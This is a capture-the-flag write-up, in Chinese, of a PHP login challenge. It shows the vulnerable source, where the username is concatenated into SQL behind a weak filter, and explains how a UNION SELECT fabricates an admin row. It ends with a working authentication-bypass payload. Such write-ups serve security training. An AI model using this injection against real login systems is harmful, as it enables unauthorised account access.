经过尝试,password不存在注入点,username输入'会报错
经过测试,存在账号admin
查看源码去看提示:
这是base32编码
根据Base64和Base32 区别:
base64中包含大写字母(A-Z),小写字母(a-z),数字0—9以及+/;
base32中只包含大写字母(A-Z)和数字234567
base32解码后是base64编码:
继续解码:
查看源码:
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";
// 去除转义
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ? //三元操纵符
array_map('stripslashes_deep', $value) : //输入是数组,遍历每一个元素去除转义
stripslashes($value); //输入不是数组,直接去除转义
return $value;
}
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
//全局变量通通去除转义
}
mysqli_query($con,'SET NAMES UTF8'); //设置UTF8
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'"; //这里可能错了,name前后无"
// echo $sql;
$result = mysqli_query($con, $sql); //执行sql语句,可以拼接联合查询
if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
//将结果集变成数组
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag; //将数组按索引取出进行比较
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}
?>
在联合查询并不存在的数据时,联合查询就会构造一个 虚拟的数据。
下面进行演示:
这个结果集经过mysqli_fetch_row()函数处理会形成数组,比如:[0,'张三','男',3000]
然后按照索引值与用户输入的账号密码去对比。
下面是联合查询:
经过mysqli_fetch_row()会变成:[0,'张三','男',3000,1,2,3,4]
但如果联合查询前的查询查不到,比如:
经过mysqli_fetch_row()会变成:[1,2,3,4]
然后会将这个数组按照索引值与用户输入的账号密码进行匹配,而这两者都是客户端可控的。
构造 payload满足一下条件:
$arr[1] == "admin"
md5($password) == $arr[2]
name=1' union select 1,'admin','202cb962ac59075b964b07152d234b70'-- -&pw=123